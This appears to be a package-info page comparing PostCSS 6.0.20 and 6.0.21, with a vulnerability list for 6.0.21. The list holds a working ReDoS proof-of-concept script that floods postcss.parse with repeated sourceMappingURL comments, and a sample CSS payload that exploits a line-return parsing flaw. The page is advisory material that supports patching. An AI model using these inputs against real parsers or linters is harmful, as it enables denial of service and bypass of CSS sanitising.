PostCSS is a powerful tool enabling developers to transform CSS styles using JavaScript plugins. Examining versions 6.0.20 and 6.0.21, prospective users will find subtle distinctions. Both versions, authored by Andrey Sitnik, share identical core dependencies: chalk for console styling, source-map for debugging, and supports-color to ensure terminal color compatibility. The license remains MIT, offering flexibility for various project types.
The key difference lies largely in the release date and dist metadata. Version 6.0.21 was released on March 22, 2018, while version 6.0.20 was released on March 17, 2018. The unpacked size is also slightly different: 656065 bytes for version 6.0.21 versus 656004 bytes for version 6.0.20. This small increase likely reflects minor bug fixes, performance improvements, or documentation updates. While the changes appear incremental, developers should opt for the newer 6.0.21 to benefit from the latest refinements and bug fixes, regardless of how small or large they might be. Both versions provide the core functionality of PostCSS, allowing users to leverage its plugin ecosystem for tasks like autoprefixing, future CSS syntax adoption, and code linting.
All the vulnerabilities related to the version 6.0.21 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.